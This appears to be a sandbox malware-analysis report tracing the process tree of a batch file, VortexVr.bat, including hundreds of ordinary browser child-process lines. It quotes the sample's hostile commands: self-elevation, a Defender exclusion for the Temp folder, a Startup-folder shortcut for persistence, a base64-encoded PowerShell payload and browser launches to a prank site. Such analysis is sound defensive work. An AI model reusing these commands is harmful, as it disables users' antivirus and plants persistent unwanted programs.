PID 3240 wrote to memory of 1572	3240	cmd.exe	92
PID 3240 wrote to memory of 2156	3240	cmd.exe	93
PID 1572 wrote to memory of 3368	1572	chrome.exe	94
PID 3240 wrote to memory of 1124	3240	cmd.exe	95
PID 3240 wrote to memory of 3896	3240	cmd.exe	96
PID 1124 wrote to memory of 1752	1124	msedge.exe	97
PID 1572 wrote to memory of 4904	1572	chrome.exe	98
PID 1572 wrote to memory of 4904	1572	chrome.exe	98
PID 1572 wrote to memory of 736	1572	chrome.exe	99
PID 1572 wrote to memory of 4956	1572	chrome.exe	100
PID 1572 wrote to memory of 4956	1572	chrome.exe	100
PID 1572 wrote to memory of 1136	1572	chrome.exe	101
PID 1572 wrote to memory of 3956	1572	chrome.exe	102
PID 1572 wrote to memory of 1136	1572	chrome.exe	101
PID 1572 wrote to memory of 3956	1572	chrome.exe	102
PID 1572 wrote to memory of 2596	1572	chrome.exe	103
PID 1572 wrote to memory of 2596	1572	chrome.exe	103
PID 1124 wrote to memory of 2008	1124	msedge.exe	106
PID 1124 wrote to memory of 2940	1124	msedge.exe	107
PID 1124 wrote to memory of 4176	1124	msedge.exe	108
PID 1124 wrote to memory of 2940	1124	msedge.exe	107
PID 1124 wrote to memory of 2940	1124	msedge.exe	107
PID 1124 wrote to memory of 4176	1124	msedge.exe	108
PID 1124 wrote to memory of 5040	1124	msedge.exe	149
PID 1124 wrote to memory of 5040	1124	msedge.exe	149
PID 1124 wrote to memory of 5040	1124	msedge.exe	149
PID 1124 wrote to memory of 1088	1124	msedge.exe	110
PID 1124 wrote to memory of 1088	1124	msedge.exe	110
PID 1124 wrote to memory of 1088	1124	msedge.exe	110
PID 1124 wrote to memory of 2584	1124	msedge.exe	111
PID 1124 wrote to memory of 2584	1124	msedge.exe	111
PID 1124 wrote to memory of 2584	1124	msedge.exe	111
PID 1124 wrote to memory of 3772	1124	msedge.exe	112
PID 1124 wrote to memory of 3772	1124	msedge.exe	112
PID 1124 wrote to memory of 3772	1124	msedge.exe	112
PID 3240 wrote to memory of 1768	3240	cmd.exe	113
PID 3240 wrote to memory of 3400	3240	cmd.exe	114
PID 1768 wrote to memory of 1320	1768	firefox.exe	115
PID 1768 wrote to memory of 1320	1768	firefox.exe	115
PID 1124 wrote to memory of 5044	1124	msedge.exe	117
PID 1124 wrote to memory of 5044	1124	msedge.exe	117
PID 1124 wrote to memory of 4180	1124	msedge.exe	119
PID 1124 wrote to memory of 4180	1124	msedge.exe	119
PID 1572 wrote to memory of 4712	1572	chrome.exe	120
PID 1572 wrote to memory of 4712	1572	chrome.exe	120
PID 1320 wrote to memory of 5196	1320	firefox.exe	122
PID 1320 wrote to memory of 5196	1320	firefox.exe	122
PID 1320 wrote to memory of 5196	1320	firefox.exe	122
PID 1124 wrote to memory of 5220	1124	msedge.exe	124
PID 1124 wrote to memory of 5212	1124	msedge.exe	123
PID 1124 wrote to memory of 5220	1124	msedge.exe	124
PID 1124 wrote to memory of 5212	1124	msedge.exe	123
PID 1124 wrote to memory of 5332	1124	msedge.exe	125
PID 1124 wrote to memory of 5332	1124	msedge.exe	125
PID 1320 wrote to memory of 5516	1320	firefox.exe	126
PID 1320 wrote to memory of 5516	1320	firefox.exe	126
PID 1320 wrote to memory of 5516	1320	firefox.exe	126
PID 1320 wrote to memory of 5516	1320	firefox.exe	126
PID 3240 wrote to memory of 5800	3240	cmd.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3284
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:4332
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1572
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcbbbbc728,0x7ffcbbbbc734,0x7ffcbbbbc740
        5⤵
        
        PID:3368
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1684,i,1708513710123111152,13741807697616820397,262144 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2008 /prefetch:2
        5⤵
        
        PID:4904
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1572,i,14401901622646589547,5467016355506424731,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1940 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:736
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,675702066525069652,2922880723394573935,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2296 /prefetch:8
        5⤵
        
        PID:4956
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3228,i,4690664445009932842,17087892182229045443,2097152 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3248 /prefetch:1
        5⤵
        
        PID:1136
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,9987956497649451327,8273748601831330440,2097152 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3220 /prefetch:1
        5⤵
        
        PID:3956
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4408,i,2956792694500561194,14902604892819091792,2097152 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4428 /prefetch:2
        5⤵
        
        PID:2596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4692,i,5061998210588516049,13880883753561708390,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4704 /prefetch:8
        5⤵
        
        PID:4712
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5844,i,9628187199495011248,2675454064126564072,2097152 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5276 /prefetch:1
        5⤵
        
        PID:7008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5160,i,3151863655146006330,11922124807522928297,2097152 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5960 /prefetch:1
        5⤵
        
        PID:6300
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6128,i,11057531993735377081,15678292983181597405,2097152 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5220 /prefetch:1
        5⤵
        
        PID:4968
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6292,i,1343290613360196852,18036809650429485064,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5948 /prefetch:8
        5⤵
        
        PID:6476
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6360,i,12823092129833361995,4127967346129193761,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6356 /prefetch:8
        5⤵
        
        PID:7704
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6328,i,391721983635767303,6277296538276203746,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6364 /prefetch:8
        5⤵
        
        PID:7780
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6344,i,1417520130399749197,16719902123448502868,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6412 /prefetch:8
        5⤵
        
        PID:7788
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6536,i,11308442570387270144,5280067819065752851,262144 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6572 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:8592
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6544,i,14164626375239163295,7139179077363448521,524288 --field-trial-handle=2012,i,1819576667492644064,7606269727498104236,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4660 /prefetch:8
        5⤵
        
        PID:9148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Loads dropped DLL
      Drops file in Program Files directory
      Checks processor information in registry
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x244,0x248,0x24c,0x240,0x26c,0x7ffcbb9ec188,0x7ffcbb9ec194,0x7ffcbb9ec1a0
        5⤵
        
        PID:1752
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1628,i,1526530766594891756,6847914009606832022,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:2008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,11158910129270268518,8803821554119866698,262144 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:2
        5⤵
        
        PID:2940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2296,i,15242035701859476436,6861018114227103238,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=2696 /prefetch:8
        5⤵
        
        PID:4176
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,8457025909804302198,16470414433290164462,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=3380 /prefetch:1
        5⤵
        
        PID:5040
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3460,i,1879251733465448306,6790818618395431967,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
        5⤵
        
        PID:1088
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4144,i,9662838167613090357,1105351051202729995,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:1
        5⤵
        
        PID:2584
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4208,i,15201068196752250727,3903497931310558337,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:2
        5⤵
        
        PID:3772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5124,i,13400961696872458213,6942661023243389032,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:8
        5⤵
        
        PID:5044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,14483420529278900377,429684293415506894,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:8
        5⤵
        
        PID:4180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,11232139680088498008,12462244483194430175,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:8
        5⤵
        
        PID:5212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,17259344275537744944,14916962215446716450,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:8
        5⤵
        
        PID:5220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5892,i,14062604029809162857,5746044135081917279,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:8
        5⤵
        
        PID:5332
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6340,i,2892405673928184587,6491631630946396588,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:1
        5⤵
        
        PID:6140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,18110295152882888393,12418459343526448328,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:8
        5⤵
        
        PID:7564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,18110295152882888393,12418459343526448328,524288 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:8
        5⤵
        
        PID:8128
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5424,i,14421073680559681730,15120415958396660653,2097152 --field-trial-handle=2600,i,2315215173694455883,5239632243536924933,262144 --variations-seed-version --mojo-platform-channel-handle=132 /prefetch:1
        5⤵
        
        PID:7724
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
